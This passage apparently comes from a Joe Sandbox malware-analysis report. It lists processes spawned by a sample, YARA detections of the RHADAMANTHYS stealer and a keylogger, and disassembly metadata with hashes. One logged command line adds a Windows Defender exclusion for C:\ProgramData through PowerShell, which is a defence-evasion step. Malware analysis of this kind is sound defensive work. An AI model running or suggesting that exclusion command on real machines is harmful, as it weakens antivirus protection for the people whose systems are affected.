File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:09:44
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:09:48
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0x910000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:09:48
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:09:51
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe"
Imagebase:	0x9e0000
File size:	2'003'968 bytes
MD5 hash:	D6070B7D0EC34E67A998DBE217C6C746
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002C.00000003.3230383274.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002C.00000003.3237144661.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002C.00000003.3235735091.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:09:55
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x720000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002D.00000003.3246909441.0000000005060000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002D.00000002.3260956534.0000000003150000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000002D.00000003.3236944014.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000002D.00000003.3247105347.0000000005280000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:09:55
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5864 -s 668
Imagebase:	0xc10000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:09:58
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe"
Imagebase:	0xa00000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	21:09:58
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	759
Total number of Limit Nodes:	16

Executed Functions

Function 00B2652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00B2652A,?,?,?,?,?,00B27661), ref: 00B26566

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 24d51489a96c8d8916f91a6c3a39a313c763c0ee76a38285bf57a520f37c08ac
Instruction ID: f0029312720eef917aca89acad0d140c308c297b4fea02f84f394d6b153a3cdf
Opcode Fuzzy Hash: 24d51489a96c8d8916f91a6c3a39a313c763c0ee76a38285bf57a520f37c08ac
Instruction Fuzzy Hash: C1E08C3015211CAECE26BB18E905A4C3BAAFB21746F100850F80C4A22ACB25ED92CA90

Function 04D70BD5 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cead2478bb018b7b0925afe0091b64e8074191d8c99a6d1a44641fb065ecbd13
Instruction ID: eb7fe31d7b19c3468abc53d52af585ecd732204c79b151af4a8169c04a4a8ea2
Opcode Fuzzy Hash: cead2478bb018b7b0925afe0091b64e8074191d8c99a6d1a44641fb065ecbd13
Instruction Fuzzy Hash: 0C11E4E738E314BE614395926B50AF63F6EE5D77303318427F487C69C2F285AA493532

Function 00AF5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 00AF612B
Keyboard Layout\Preload, xrefs: 00AF6054
00000419, xrefs: 00AF6098
00000423, xrefs: 00AF60FA
00000422, xrefs: 00AF60C9

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 3033103d0b418cb59aeb7b23b328b01a900ae92aca2331988a787ebe08dd4027
Instruction ID: d29815ade3b0e3b48e81442798664aba21f79650df7bfeba05ae111c994e3d1c
Opcode Fuzzy Hash: 3033103d0b418cb59aeb7b23b328b01a900ae92aca2331988a787ebe08dd4027
Instruction Fuzzy Hash: 3CF1D17090025C9BEB24DF64CC85BEEBBB9EF45304F5046E9F608A72C1DB749A84CB95

Function 00AF9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 62579c6fafcfa8b742c690e7ff166860a5b61a59db081379eb0d7507d920c827
Instruction ID: 8e654d2fb6733cffda9ec092a517757d34bbfc0a2ab1eecb6cb04f2fa9c424f7
Opcode Fuzzy Hash: 62579c6fafcfa8b742c690e7ff166860a5b61a59db081379eb0d7507d920c827
Instruction Fuzzy Hash: AC314C717002089BEB089BF8ECC57BEBBB2DB96310F248258F214973D5C77659818761

Function 00AF9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: cd485ae8c1726dc1399cbb677f07414967cc31aed56525a17aa7510862d8fe02
